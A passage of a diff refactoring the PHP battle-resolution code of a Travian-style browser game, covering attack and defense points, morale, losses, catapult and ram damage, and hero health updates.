+ $datadefScout = $this->getDataDefScout($defenders, $def_ab, $defender_artefact);
+
+ $dp += $datadefScout['dp'];
+ $cdp += $datadefScout['cdp'];
+
+ $involve += $datadefScout['involve'];
+
+ if (!$detected && $datadefScout['detect']) {
+ $detected = $datadefScout['detect'];
}
- if ($type == 1) {
- $datadefScout = $this->getDataDefScout($defenders, $def_ab, $defender_artefact);
- $dp += $datadefScout['dp'];
- $cdp += $datadefScout['cdp'];
- $involve = $datadefScout['involve'];
- if(!$detected && $datadefScout['detect']) $detected = $datadefScout['detect'];
- }else{
- $datadef = $this->getDataDef($defenders, $def_ab);
- $reinf_dp = $datadef['dp'];
- $reinf_cdp = $datadef['cdp'];
- $involve += $datadef['involve'];
- $reinfowner = $database->getVillageField($fromvillage, "owner");
- $defhero = $this->getBattleHero($reinfowner);
-
- if($defenders['hero'] != 0 && $type != 1){
- $reinf_cdp += $defhero['dc'];
- $reinf_dp += $defhero['di'];
- $reinf_dp *= $defhero['db'];
- $reinf_cdp *= $defhero['db'];
+ } else {
+
+ $datadef = $this->getDataDef($defenders, $def_ab);
+
+ $reinf_dp = $datadef['dp'];
+ $reinf_cdp = $datadef['cdp'];
+
+ $involve += $datadef['involve'];
+
+ if (!empty($defenders['hero'])) {
+
+ if (!isset($heroCache[$owner])) {
+ $heroCache[$owner] = $this->getBattleHero($owner);
}
- $dp += $reinf_dp;
- $cdp += $reinf_cdp;
+
+ $defhero = $heroCache[$owner];
+
+ $reinf_dp += $defhero['di'];
+ $reinf_cdp += $defhero['dc'];
+
+ $reinf_dp *= $defhero['db'];
+ $reinf_cdp *= $defhero['db'];
}
+
+ $dp += $reinf_dp;
+ $cdp += $reinf_cdp;
}
}
- // Calculate the total number of points Attacker
- $start = ($att_tribe - 1) * 10 + 1;
- $end = $att_tribe * 10;
-
- if($att_tribe == 3) $abcount = 3;
- else $abcount = 4;
+ }
- if($type == 1) {//scout
- for($i = $start;$i <= $end; $i++) {
- global ${'u'.$i};
- $j = $i - $start + 1;
- if($Attacker['u'.$i] > 0 && ($i == 4 || $i == 14 || $i == 23 || $i == 44)){
- if(${'att_ab'.$abcount} > 0) {
- $ap += round(35 + (35 + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * $Attacker['u'.$i];
- }
- else $ap += $Attacker['u'.$i] * 35;
- }
- $involve += $Attacker['u'.$i];
- $units['Att_unit'][$i] = $Attacker['u'.$i];
+ /******************************************************************
+ * ATTACKER UNIT CALCULATION
+ ******************************************************************/
+ $start = ($att_tribe - 1) * 10 + 1;
+ $end = $att_tribe * 10;
- }
- $ap *= $attacker_artefact;
+ if ($type == 1) {
- }else{ //type=3 normal 4=raid
- $abcount = 1;
- for($i = $start; $i <= $end; $i++) {
- global ${'u'.$i};
- $j = $i - $start + 1;
- if($abcount <= 8 && ${'att_ab'.$abcount} > 0) {
- if(in_array($i,$calvary)) {
- $cap += round(${'u'.$i}['atk'] + (${'u'.$i}['atk'] + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * (int) $Attacker['u'.$i];
- }else{
- $ap += round(${'u'.$i}['atk'] + (${'u'.$i}['atk'] + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * (int) $Attacker['u'.$i];
- }
- }else{
- if(in_array($i,$calvary)) $cap += (int) $Attacker['u'.$i]*${'u'.$i}['atk'];
- else $ap += (int) $Attacker['u'.$i]*${'u'.$i}['atk'];
- }
-
- $abcount += 1;
-
- // Points catapult the attacker
- if(in_array($i, $catapult)) $catp += (int) $Attacker['u'.$i];
+ $abcount = ($att_tribe == 3) ? 3 : 4;
+ $scoutAB = ${'att_ab'.$abcount};
- // Points of the Rams attacker
- if(in_array($i, $rams)) $ram += (int) $Attacker['u'.$i];
+ for ($i = $start; $i <= $end; $i++) {
- $involve += (int) $Attacker['u'.$i];
- $units['Att_unit'][$i] = (int) $Attacker['u'.$i];
- }
- if (isset($Attacker['uhero']) && $Attacker['uhero'] != 0){
- $units['Att_unit']['hero'] = $Attacker['uhero'];
- $ap *= $atkhero['ob'];
- $cap *= $atkhero['ob'];
- $ap += $atkhero['atk'];
- }
+ $unitAmount = (int)$Attacker['u'.$i];
- if ($offhero > 0 || $hero_strenght > 0) {
- $atkhero= $this->getBattleHeroSim($offhero);
- $ap *= $atkhero['ob'];
- $cap *= $atkhero['ob'];
- $ap += $hero_strenght;
- }
- if ($deffhero > 0) {
- $dfdhero = $this->getBattleHeroSim($deffhero);
- $dp *= $dfdhero['ob'];
- $cdp *= $dfdhero['ob'];
- }
- }
- // Formula for calculating the bonus defensive wall and Residence
-
- if($def_wall > 0) {
- // Set the factor calculation for the "wall" as the type of the civilization
- // Factor = 1030 Wall Roman
- // Factor = 1020 Wall Teuton
- // Factor = 1025 Wall Goul
- $factor = ($def_tribe == 1)? 1.030 : (($def_tribe == 2)? 1.020 : 1.025);
- $wallMultiplier = round(pow($factor, $def_wall), 3);
- // Defense infantry = Infantry * Wall (%)
- // Defense calvary calvary = * Wall (%)
- if ($dp > 0 || $cdp > 0){
- if($type == 1) {
- $dp *= $wallMultiplier;
- $dp += 10;
- }else{
- $dp *= $wallMultiplier;
- $cdp *= $wallMultiplier;
-
- // Calculation of the Basic defense bonus "Residence"
- $dp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier;
- $cdp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier;
- }
- }else{
- $dp = 10 * $wallMultiplier * $def_wall;
- // Defense calvary calvary = * Wall (%)
- $cdp = 10 * $wallMultiplier * $def_wall;
- if($type != 1){
- // Calculation of the Basic defense bonus "Residence"
- $dp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier;
- $cdp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier;
- }else{
- $dp += 10;
- $cdp = 0;
- }
- }
- }elseif($type != 1) {
-
- // Calculation of the Basic defense bonus "Residence"
- $dp += (2 * (pow($residence, 2)) + 10);
- $cdp += (2 * (pow($residence, 2)) + 10);
- }
-
- // Formula for calculating Attacking Points (Infantry & Cavalry)
- if($AttackerWref != 0){
- $rap = round(($ap + $cap) + (($ap + $cap) / 100 * (isset($bid35[$this->getTypeLevel(35, $AttackerWref)]) ? $bid35[$this->getTypeLevel(35, $AttackerWref)]['attri'] : 0)));
- }
- else $rap = round($ap + $cap);
-
- // Formula for calculating Defensive Points
- if ($rap == 0) $rdp = round(($dp) + ($cdp));
- else $rdp = round(round($cap / $rap, 4) * ($cdp) + round($ap / $rap, 4) * ($dp));
-
- // The Winner is....:
- $result['Attack_points'] = $rap;
- $result['Defend_points'] = $rdp;
- $winner = ($rap > $rdp);
- $safeRap = max(1, (float) $rap);
- $safeRdp = max(1, (float) $rdp);
-
- // Formula for calculating the Morale bonus
- // WW villages aren't affected by this bonus
- if($attpop > $defpop && !$isWWVillage) {
- $moralbonus = 1 / round(max(0.667, pow($defpop / $attpop, 0.2 * min(1, $rap / ($rdp > 0 ? $rdp : 1)))), 3);
- }
- else $moralbonus = 1.0;
-
- if($involve >= 1000 && $type != 1) $Mfactor = 2 * round((1.8592 - pow($involve, 0.015)), 4);
- else $Mfactor = 1.5;
-
- if ($Mfactor < 1.2578) $Mfactor = 1.2578;
- elseif ($Mfactor > 1.5) $Mfactor = 1.5;
-
- // Formula for calculating losses
- // $type = 1 Scout, 2 Enforcement
- // $type = 3 Normal, 4 Raid
- if($type == 1){
- $holder = pow((($rdp * $moralbonus) / $safeRap), $Mfactor);
- if($holder > 1) $holder = 1;
- if ($rdp > $rap) $holder = 1;
-
- //Birds of Prey cannot die when scouting
- //Spies cannot die if the attacked village has no defending spies
- //Attacker result
- $result[1] = ($att_tribe == 5 || !$detected) ? 0 : $holder;
-
- //Defender result
- $result[2] = 0;
- }else if($type == 4) {
- $holder = ($winner) ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) : pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor);
- $holder = $holder / (1 + $holder);
- //Attacker result
- $result[1] = $winner ? $holder : 1 - $holder;
- //Defender result
- $result[2] = $winner ? 1 - $holder : $holder;
- $ram -= round($ram * $result[1] / 100);
- $catp -= round($catp * $result[1] / 100);
- }else if($type == 3){
-
- // Attacker
- $result[1] = ($winner) ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) : 1;
-
- if ($result[1] > 1){
- $result[1] = 1;
- $winner = false;
- $result['Winner'] = "defender";
+ if ($unitAmount <= 0) {
+ continue;
}
- // Defender
- $result[2] = (!$winner) ? pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor) : 1;
-
- if ($result[1] == 1) $result[2] = pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor);
+ global ${'u'.$i};
- if ($result[2] > 1) {
- $result[2] = 1;
- $result['Winner'] = "attacker";
- $winner = true;
- }
-
- // If attacked with "Hero"
- $ku = ($att_tribe - 1) * 10 + 9;
- $kings = (int) $Attacker['u'.$ku];
+ if ($i == 4 || $i == 14 || $i == 23 || $i == 44) {
- $aviables = $kings - round($kings * (int) $result[1]);
- if ($aviables > 0){
- switch($aviables){
- case 1: $fealthy = rand(20, 30); break;
- case 2: $fealthy = rand(40, 60); break;
- case 3: $fealthy = rand(60, 80); break;
- case 4: $fealthy = rand(80, 100); break;
- default: $fealthy = 100; break;
+ if ($scoutAB > 0) {
+
+ $unitAttack = round(
+ 35 + (
+ 35 + (300 * ${'u'.$i}['pop'] / 7)
+ ) * (pow(1.007, $scoutAB) - 1),
+ 4
+ );
+
+ $ap += $unitAttack * $unitAmount;
+
+ } else {
+ $ap += 35 * $unitAmount;
}
- $result['hero_fealthy'] = $fealthy;
}
-
- $ram -= ($winner) ? round($ram * $result[1] / 100) : round($ram * $result[2] / 100);
- $catp -= ($winner) ? round($catp * $result[1] / 100) : round($catp * $result[2] / 100);
+
+ $involve += $unitAmount;
+ $units['Att_unit'][$i] = $unitAmount;
}
- if($catp > 0 && $tblevel != 0) {
-
- //Catapults blacksmith upgrades
- $upgrades = round(200 * pow(1.0205, $att_ab8)) / 200;
-
- //Buildings durability
- $durability = ($stonemason > 0 ? $bid34[$stonemason]['attri'] / 100 : 1);
+ $ap *= $attacker_artefact;
- //Calculates the catapults morale bonus
- $catpMoraleBonus = min(max(($attpop / ($defpop > 0 ? $defpop : 1)) ** 0.3, 1), 3);
+ } else {
- //New level of the building (only for warsim.php)
- $catapultsDamage = $this->calculateCatapultsDamage($catp, $upgrades, $durability, $safeRap / $safeRdp, $strongerbuildings, $catpMoraleBonus);
- $result[3] = $this->calculateNewBuildingLevel($tblevel, $catapultsDamage);
- $result[4] = $tblevel;
-
- //Results for Automation.php
- $result['catapults']['upgrades'] = $upgrades;
- $result['catapults']['durability'] = $durability;
- $result['catapults']['attackDefenseRatio'] = $safeRap / $safeRdp;
- $result['catapults']['strongerBuildings'] = $strongerbuildings;
- $result['catapults']['moraleBonus'] = $catpMoraleBonus;
- }
-
- if($ram > 0 && $walllevel != 0) {
-
- //Rams blacksmith upgrades
- $upgrades = round(200 * pow(1.0205, $att_ab7)) / 200;
+ $abValues = [
+ 1 => $att_ab1,
+ 2 => $att_ab2,
+ 3 => $att_ab3,
+ 4 => $att_ab4,
+ 5 => $att_ab5,
+ 6 => $att_ab6,
+ 7 => $att_ab7,
+ 8 => $att_ab8
+ ];
- //Building durability
- $durability = ($stonemason > 0 ? $bid34[$stonemason]['attri'] / 100 : 1);
-
- // New level of the building (only for warsim.php)
- $ramsDamage = $this->calculateCatapultsDamage($ram, $upgrades, $durability, $safeRap / $safeRdp, $strongerbuildings, 1);
- $result[7] = $this->calculateNewBuildingLevel($walllevel, $ramsDamage);
- $result[8] = $walllevel;
+ $abcount = 1;
- // Results for Automation.php
- $result['rams']['upgrades'] = $upgrades;
- $result['rams']['durability'] = $durability;
- $result['rams']['attackDefenseRatio'] = $safeRap / $safeRdp;
- $result['rams']['strongerBuildings'] = $strongerbuildings;
- $result['rams']['moraleBonus'] = 1;
+ for ($i = $start; $i <= $end; $i++) {
+
+ $unitAmount = (int)$Attacker['u'.$i];
+
+ if ($unitAmount <= 0) {
+ $abcount++;
+ continue;
+ }
+
+ global ${'u'.$i};
+
+ $unitData = ${'u'.$i};
+ $unitAttack = $unitData['atk'];
+
+ if ($abcount <= 8 && $abValues[$abcount] > 0) {
+
+ $unitAttack = round(
+ $unitAttack + (
+ $unitAttack + (300 * $unitData['pop'] / 7)
+ ) * (pow(1.007, $abValues[$abcount]) - 1),
+ 4
+ );
+ }
+
+ $totalAttack = $unitAttack * $unitAmount;
+
+ if (isset($calvaryLookup[$i])) {
+ $cap += $totalAttack;
+ } else {
+ $ap += $totalAttack;
+ }
+
+ if (isset($catapultLookup[$i])) {
+ $catp += $unitAmount;
+ }
+
+ if (isset($ramsLookup[$i])) {
+ $ram += $unitAmount;
+ }
+
+ $involve += $unitAmount;
+ $units['Att_unit'][$i] = $unitAmount;
+
+ $abcount++;
}
- $result[6] = pow($safeRap / max($safeRdp * $moralbonus, 1), $Mfactor);
- $result['moralBonus'] = $moralbonus;
-
- $total_att_units = count($units['Att_unit']);
- $start = intval(($att_tribe - 1) * 10 + 1);
- $end = intval($att_tribe * 10);
-
- for($i = $start; $i <= $end; $i++){
- $y = $i - (($att_tribe - 1) * 10);
- $result['casualties_attacker'][$y] = round($result[1] * $units['Att_unit'][$i]);
+ /******************************************************************
+ * HERO OFFENSE
+ ******************************************************************/
+ if (!empty($Attacker['uhero']) && !empty($atkhero)) {
+
+ $units['Att_unit']['hero'] = $Attacker['uhero'];
+
+ $ap *= $atkhero['ob'];
+ $cap *= $atkhero['ob'];
+
+ $ap += $atkhero['atk'];
}
- if (isset($units['Att_unit']['hero']) && $units['Att_unit']['hero'] >0){
+ if ($offhero > 0 || $hero_strenght > 0) {
- $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $atkhero['heroid']);
- $fdb = mysqli_fetch_array($_result);
- $hero_id = (int) $fdb['heroid'];
- $hero_health = $fdb['health'];
+ $simHero = $this->getBattleHeroSim($offhero);
+
+ $ap *= $simHero['ob'];
+ $cap *= $simHero['ob'];
+
+ $ap += $hero_strenght;
+ }
+
+ if ($deffhero > 0) {
+
+ $dfdhero = $this->getBattleHeroSim($deffhero);
+
+ $dp *= $dfdhero['ob'];
+ $cdp *= $dfdhero['ob'];
+ }
+ }
+
+ /******************************************************************
+ * WALL + RESIDENCE
+ ******************************************************************/
+ $residenceBonus = (2 * ($residence * $residence)) + 10;
+
+ if ($def_wall > 0) {
+
+ if ($def_tribe == 1) {
+ $factor = 1.030;
+ } elseif ($def_tribe == 2) {
+ $factor = 1.020;
+ } else {
+ $factor = 1.025;
+ }
+
+ $wallMultiplier = round(pow($factor, $def_wall), 3);
+
+ if ($dp > 0 || $cdp > 0) {
+
+ if ($type == 1) {
+
+ $dp *= $wallMultiplier;
+ $dp += 10;
+
+ } else {
+
+ $dp *= $wallMultiplier;
+ $cdp *= $wallMultiplier;
+
+ $resBonus = $residenceBonus * $wallMultiplier;
+
+ $dp += $resBonus;
+ $cdp += $resBonus;
+ }
+
+ } else {
+
+ $baseWall = 10 * $wallMultiplier * $def_wall;
+
+ $dp = $baseWall;
+ $cdp = $baseWall;
+
+ if ($type != 1) {
+
+ $resBonus = $residenceBonus * $wallMultiplier;
+
+ $dp += $resBonus;
+ $cdp += $resBonus;
+
+ } else {
+
+ $dp += 10;
+ $cdp = 0;
+ }
+ }
+
+ } elseif ($type != 1) {
+
+ $dp += $residenceBonus;
+ $cdp += $residenceBonus;
+ }
+
+ /******************************************************************
+ * ATTACK / DEFENSE TOTAL
+ ******************************************************************/
+ if ($AttackerWref != 0) {
+
+ $typeLevel = $this->getTypeLevel(35, $AttackerWref);
+
+ $bonus = isset($bid35[$typeLevel])
+ ? $bid35[$typeLevel]['attri']
+ : 0;
+
+ $rap = round(
+ ($ap + $cap) + (
+ (($ap + $cap) / 100) * $bonus
+ )
+ );
+
+ } else {
+
+ $rap = round($ap + $cap);
+ }
+
+ if ($rap == 0) {
+
+ $rdp = round($dp + $cdp);
+
+ } else {
+
+ $rdp = round(
+ (round($cap / $rap, 4) * $cdp) +
+ (round($ap / $rap, 4) * $dp)
+ );
+ }
+
+ $result['Attack_points'] = $rap;
+ $result['Defend_points'] = $rdp;
+
+ $winner = ($rap > $rdp);
+
+ $safeRap = max(1, (float)$rap);
+ $safeRdp = max(1, (float)$rdp);
+
+ /******************************************************************
+ * MORALE
+ ******************************************************************/
+ if ($attpop > $defpop && !$isWWVillage) {
+
+ $moralbonus = 1 / round(
+ max(
+ 0.667,
+ pow(
+ $defpop / $attpop,
+ 0.2 * min(1, $rap / max($rdp, 1))
+ )
+ ),
+ 3
+ );
+
+ } else {
+
+ $moralbonus = 1.0;
+ }
+
+ /******************************************************************
+ * M FACTOR
+ ******************************************************************/
+ if ($involve >= 1000 && $type != 1) {
+ $Mfactor = 2 * round((1.8592 - pow($involve, 0.015)), 4);
+ } else {
+ $Mfactor = 1.5;
+ }
+
+ if ($Mfactor < 1.2578) {
+ $Mfactor = 1.2578;
+ } elseif ($Mfactor > 1.5) {
+ $Mfactor = 1.5;
+ }
+
+ /******************************************************************
+ * LOSSES
+ ******************************************************************/
+ if ($type == 1) {
+
+ $holder = pow((($rdp * $moralbonus) / $safeRap), $Mfactor);
+
+ if ($holder > 1 || $rdp > $rap) {
+ $holder = 1;
+ }
+
+ $result[1] = ($att_tribe == 5 || !$detected) ? 0 : $holder;
+ $result[2] = 0;
+
+ } elseif ($type == 4) {
+
+ $holder = ($winner)
+ ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor)
+ : pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor);
+
+ $holder = $holder / (1 + $holder);
+
+ $result[1] = $winner ? $holder : 1 - $holder;
+ $result[2] = $winner ? 1 - $holder : $holder;
+
+ $ram -= round($ram * $result[1] / 100);
+ $catp -= round($catp * $result[1] / 100);
+
+ } elseif ($type == 3) {
+
+ $result[1] = ($winner)
+ ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor)
+ : 1;
+
+ if ($result[1] > 1) {
+
+ $result[1] = 1;
+ $winner = false;
+ $result['Winner'] = "defender";
+ }
+
+ $result[2] = (!$winner)
+ ? pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor)
+ : 1;
+
+ if ($result[1] == 1) {
+ $result[2] = pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor);
+ }
+
+ if ($result[2] > 1) {
+
+ $result[2] = 1;
+ $winner = true;
+ $result['Winner'] = "attacker";
+ }
+
+ $ku = ($att_tribe - 1) * 10 + 9;
+
+ $kings = (int)$Attacker['u'.$ku];
+ $aviables = $kings - round($kings * (int)$result[1]);
+
+ if ($aviables > 0) {
+
+ switch ($aviables) {
+ case 1: $fealthy = rand(20, 30); break;
+ case 2: $fealthy = rand(40, 60); break;
+ case 3: $fealthy = rand(60, 80); break;
+ case 4: $fealthy = rand(80, 100); break;
+ default: $fealthy = 100; break;
+ }
+
+ $result['hero_fealthy'] = $fealthy;
+ }
+
+ $ram -= ($winner)
+ ? round($ram * $result[1] / 100)
+ : round($ram * $result[2] / 100);
+
+ $catp -= ($winner)
+ ? round($catp * $result[1] / 100)
+ : round($catp * $result[2] / 100);
+ }
+
+ /******************************************************************
+ * CATAPULTS DAMAGE
+ ******************************************************************/
+ if ($catp > 0 && $tblevel != 0) {
+
+ $upgrades = round(200 * pow(1.0205, $att_ab8)) / 200;
+
+ $durability = ($stonemason > 0)
+ ? $bid34[$stonemason]['attri'] / 100
+ : 1;
+
+ $attackDefenseRatio = $safeRap / $safeRdp;
+
+ $catpMoraleBonus = min(
+ max(pow(($attpop / max($defpop, 1)), 0.3), 1),
+ 3
+ );
+
+ $catapultsDamage = $this->calculateCatapultsDamage(
+ $catp,
+ $upgrades,
+ $durability,
+ $attackDefenseRatio,
+ $strongerbuildings,
+ $catpMoraleBonus
+ );
+
+ $result[3] = $this->calculateNewBuildingLevel($tblevel, $catapultsDamage);
+ $result[4] = $tblevel;
+
+ $result['catapults'] = [
+ 'upgrades' => $upgrades,
+ 'durability' => $durability,
+ 'attackDefenseRatio' => $attackDefenseRatio,
+ 'strongerBuildings' => $strongerbuildings,
+ 'moraleBonus' => $catpMoraleBonus
+ ];
+ }
+
+ /******************************************************************
+ * RAMS DAMAGE
+ ******************************************************************/
+ if ($ram > 0 && $walllevel != 0) {
+
+ $upgrades = round(200 * pow(1.0205, $att_ab7)) / 200;
+
+ $durability = ($stonemason > 0)
+ ? $bid34[$stonemason]['attri'] / 100
+ : 1;
+
+ $attackDefenseRatio = $safeRap / $safeRdp;
+
+ $ramsDamage = $this->calculateCatapultsDamage(
+ $ram,
+ $upgrades,
+ $durability,
+ $attackDefenseRatio,
+ $strongerbuildings,
+ 1
+ );
+
+ $result[7] = $this->calculateNewBuildingLevel($walllevel, $ramsDamage);
+ $result[8] = $walllevel;
+
+ $result['rams'] = [
+ 'upgrades' => $upgrades,
+ 'durability' => $durability,
+ 'attackDefenseRatio' => $attackDefenseRatio,
+ 'strongerBuildings' => $strongerbuildings,
+ 'moraleBonus' => 1
+ ];
+ }
+
+ /******************************************************************
+ * FINAL MORALE FACTOR
+ ******************************************************************/
+ $result[6] = pow(
+ $safeRap / max($safeRdp * $moralbonus, 1),
+ $Mfactor
+ );
+
+ $result['moralBonus'] = $moralbonus;
+
+ /******************************************************************
+ * CASUALTIES
+ ******************************************************************/
+ for ($i = $start; $i <= $end; $i++) {
+
+ $y = $i - $start + 1;
+
+ $result['casualties_attacker'][$y] = round(
+ $result[1] * (isset($units['Att_unit'][$i]) ? $units['Att_unit'][$i] : 0)
+ );
+ }
+
+ /******************************************************************
+ * HERO DAMAGE (ATTACKER)
+ ******************************************************************/
+ if (!empty($units['Att_unit']['hero']) && !empty($atkhero['heroid'])) {
+
+ $hero_id = (int)$atkhero['heroid'];
+
+ $_result = mysqli_query(
+ $database->dblink,
+ "SELECT heroid, health
+ FROM " . TB_PREFIX . "hero
+ WHERE dead = 0
+ AND heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ $fdb = mysqli_fetch_assoc($_result);
+
+ if (!empty($fdb)) {
+
+ $hero_health = (int)$fdb['health'];
$damage_health = round(100 * $result[1]);
- if ($hero_health <= $damage_health || $damage_health > 90){
- //hero die
+ if ($hero_health <= $damage_health || $damage_health > 90) {
+
$result['casualties_attacker'][11] = 1;
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id);
- }else{
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id);
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET dead = 1, health = 0
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ } else {
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET health = health - " . (int)$damage_health . "
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
}
}
- unset($_result, $fdb, $hero_id, $hero_health, $damage_health);
+ }
+ /******************************************************************
+ * HERO DAMAGE (DEFENDER)
+ ******************************************************************/
+ if (!empty($units['Def_unit']['hero']) && !empty($defenderhero['heroid'])) {
- if (isset($units['Def_unit']['hero']) && $units['Def_unit']['hero'] >0){
+ $hero_id = (int)$defenderhero['heroid'];
- $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $defenderhero['heroid']);
- $fdb = mysqli_fetch_array($_result);
- $hero_id = (int) $fdb['heroid'];
- $hero_health = $fdb['health'];
+ $_result = mysqli_query(
+ $database->dblink,
+ "SELECT heroid, health
+ FROM " . TB_PREFIX . "hero
+ WHERE dead = 0
+ AND heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ $fdb = mysqli_fetch_assoc($_result);
+
+ if (!empty($fdb)) {
+
+ $hero_health = (int)$fdb['health'];
$damage_health = round(100 * $result[2]);
- if ($hero_health <= $damage_health || $damage_health > 90){
- //hero die
+
+ if ($hero_health <= $damage_health || $damage_health > 90) {
+
$result['deadherodef'] = 1;
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id);
- }else{
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET dead = 1, health = 0
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ } else {
+
$result['deadherodef'] = 0;
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id);
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET health = health - " . (int)$damage_health . "
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
}
}
- unset($_result, $fdb, $hero_id, $hero_health, $damage_health);
-
- if(!empty($DefendersAll)){
- $battleHeroesCache = [];
- foreach($DefendersAll as $defenders) {
- if($defenders['hero'] > 0) {
- $battleHeroesCache[$defenders['from']] = $this->getBattleHero($database->getVillageField($defenders['from'],"owner"));
- $heroarraydefender = $battleHeroesCache[$defenders['from']];
- $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $heroarraydefender['heroid']);
- $fdb = mysqli_fetch_array($_result);
- $hero_id = (int) $fdb['heroid'];
- $hero_health = $fdb['health'];
- $damage_health = round(100 * $result[2]);
- if ($hero_health <= $damage_health || $damage_health > 90){
- //hero die
- $result['deadheroref'][$defenders['id']] = 1;
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id);
- }else{
- $result['deadheroref'][$defenders['id']] = 0;
- mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id);
- }
- }
- }
- }
- unset($_result, $fdb, $hero_id, $hero_health, $damage_health);
-
-
- // Work out bounty
- $start = ($att_tribe - 1) * 10 + 1;
- $end = ($att_tribe * 10);
-
- $max_bounty = 0;
-
- for($i = $start; $i <= $end; $i++) {
- $j = $i - $start + 1;
- $y = $i -(($att_tribe - 1) * 10);
-
- $max_bounty += ((int) $Attacker['u'.$i] - (int) $result['casualties_attacker'][$y]) * (int) ${'u'.$i}['cap'];
- }
-
- $result['bounty'] = $max_bounty;
- return $result;
}
- public function getDataDefScout($defenders, $def_ab, $defender_artefact) {
- $abcount = 1;
- $invol = $dp = $cdp = 0;
- $detected = false;
-
- for($y = 4; $y <= 50; $y++) {
- if($y == 4 || $y == 14 || $y == 23 || $y == 44){
- global ${'u'.$y};
+ /******************************************************************
+ * HERO DAMAGE (DEFENDER + REINFORCEMENTS)
+ ******************************************************************/
+ if (!empty($DefendersAll)) {
- if($defenders['u'.$y] > 0 && $def_ab[$y] > 0){
- $dp += round(20 + (20 + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y] * $defender_artefact;
- $detected = true;
- }else{
- if($defenders['u'.$y] > 0){
- $dp += $defenders['u'.$y] * 20 * $defender_artefact;
- $detected = true;
- }
- }
-
- $invol += $defenders['u'.$y]; //total troops
- $units['Def_unit'][$y] = $defenders['u'.$y];
+ $battleHeroesCache = [];
+ $villageOwnerCache = [];
+
+ foreach ($DefendersAll as $defenders) {
+
+ if (empty($defenders['hero'])) {
+ continue;
+ }
+
+ $fromVillage = (int)$defenders['from'];
+
+ if (!isset($villageOwnerCache[$fromVillage])) {
+ $villageOwnerCache[$fromVillage] = (int)$database->getVillageField($fromVillage, "owner");
+ }
+
+ $owner = $villageOwnerCache[$fromVillage];
+
+ if (!isset($battleHeroesCache[$owner])) {
+ $battleHeroesCache[$owner] = $this->getBattleHero($owner);
+ }
+
+ $heroarraydefender = $battleHeroesCache[$owner];
+
+ if (empty($heroarraydefender['heroid'])) {
+ continue;
+ }
+
+ $hero_id = (int)$heroarraydefender['heroid'];
+
+ $_result = mysqli_query(
+ $database->dblink,
+ "SELECT heroid, health
+ FROM " . TB_PREFIX . "hero
+ WHERE dead = 0
+ AND heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ $fdb = mysqli_fetch_assoc($_result);
+
+ if (empty($fdb)) {
+ continue;
+ }
+
+ $hero_health = (int)$fdb['health'];
+ $damage_health = round(100 * $result[2]);
+
+ if ($hero_health <= $damage_health || $damage_health > 90) {
+
+ $result['deadheroref'][$defenders['id']] = 1;
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET dead = 1, health = 0
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
+
+ } else {
+
+ $result['deadheroref'][$defenders['id']] = 0;
+
+ mysqli_query(
+ $database->dblink,
+ "UPDATE " . TB_PREFIX . "hero
+ SET health = health - " . (int)$damage_health . "
+ WHERE heroid = " . $hero_id . "
+ LIMIT 1"
+ );
}
}
-
- $datadef['dp'] = $dp;
- $datadef['cdp'] = $cdp;
- $datadef['detect'] = $detected;
- $datadef['involve'] = $invol;
- return $datadef;
}
- public function getDataDef($defenders,$def_ab) {
- $dp = $cdp = $invol = 0;
- for($y = 1;$y <= 50; $y++) {
- global ${'u'.$y};
- if ($defenders['u'.$y] > 0) {
- if (!isset($def_ab[$y])) {
- $def_ab[$y] = 0;
- }
- if ($def_ab[$y] > 0) {
